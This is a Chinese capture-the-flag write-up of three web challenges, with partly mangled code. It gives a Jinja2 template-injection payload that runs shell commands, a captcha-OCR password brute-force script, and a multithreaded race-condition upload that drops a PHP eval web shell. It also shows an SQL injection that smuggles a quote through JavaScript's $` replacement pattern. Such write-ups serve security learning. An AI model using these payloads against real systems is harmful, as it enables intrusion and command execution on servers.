Rank-l 
可能是ssti,过滤了一些东西,如果触发过滤,输入密码的页面会直接302
过滤了空格,用request.args.aaa可以参数逃逸。
1 phone_number= {{url_for.__globals__ ['__builtins__'].__import__('os' ).popen(request.args.aaa ).read()}} 
然后再cpass页面:?aaa=ls / -al
flag有权限读,但是cat无效,可能是把cat移除了,这里用tac读出来。
Rank-U 首先是绕验证码的爆破弱口令,这里用requests库的session来爆破,就只需要识别一次验证码后面可以一直爆破。
登录的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  osimport  requestsimport  re"http://139.155.126.78:26554/captcha.php" "http://139.155.126.78:26554/" "密码字典路径" open (password_dict, "r" , encoding="utf-8" )  with  open ("1.jpg" , 'wb' ) as  f:  rf'"C:\Program Files\Tesseract-OCR\tesseract.exe" 1.jpg test' )  open ("test.txt" , 'r' ).read()" " , "" ).replace("\n" , "" )  for  i in  range (len (password)):  "\n" ,"" )"username" : "admin" ,"password" : p,"yzm" : true_answer"<p class='error'>(.*)</p>" ,res.text)print (p)if  s[0 ] != "用户名或密码错误,请重试!" :print (res.text)print (res.headers)
爆出来密码是:year2000
登录进去直接能上传文件,但是好像访问不到,可能是条件竞争?
只有图片才能被成功上传。
经过测试发现确实是条件竞争,时间极短,需要很多的线程发包才行,这样又容易造成服务器卡顿,而且文件名是根据时间戳生成的某个字符串,这个题恶心就在这几个点。
python多线程发包,发请求,并匹配文件名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import  requestsimport  reimport  threading"http://139.155.126.78:27319" "PHPSESSID" :"p2j0ol7prsslt2mk8fss4bme2u" }r"C:\Users\13664\Desktop\123.php" with  open (file_path, 'rb' ) as  f:'file_upload' : (file_path, f.read(), 'application/octet-stream' ),'filename' : ('filename' , '123.php' )def  threads ():while  True :"/admin/index.php" , cookies=cookies,files=files)"<p class=\"success\">文件上传成功!文件已保存为: (.*)</p>" ,res.text)"/admin" +s[0 ][1 :]if  res.status_code == 200 :print (res.text)break for  i in  range (100 ):
php文件:
1 2 3 4 5 <?php echo  123 ;while (1 ){file_put_contents ("evil.php" ,"<?php eval(\$_GET[123]);?>" );
为了rce,上传这个php之后访问一次,会生成shell文件,方便rce。
经过几个小时尝试,才在最后拿到了这个shell文件。然后还ban掉了system和phpinfo等函数,我一度以为我的shell有问题。后面用readfile('/flag');来读取flag。
sqli or not 过滤逗号,单双引号和双斜杠。
逗号的绕过方式,在上次极客大挑战的某个题中遇到过一次。
这样可以绕逗号
info={“username”:”asd”&info=”password”:”132”}
 
单引号绕过的点主要是这句
1 sql = sql.replace ("{username}" ,username);
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/leftContext 
The RegExp.leftContext static accessor property returns the substring preceding the most recent match. RegExp["$“]` is an alias for this property.
静态访问器属性”RegExp.leftContext”返回最近匹配项之前的子字符串。”RegExp[“$`”]”是该属性的别名。
这里的$`就是{username}前面的所有东西,也就是select * from userinfo where username = '
payload:info={“username”:”$`or 1=1%23”&info=”password”:”132”}
经过拼接后:select * from userinfo where username = ‘select * from userinfo where username = ‘or 1=1#’ and password = ‘132’
这样就取到了单引号了。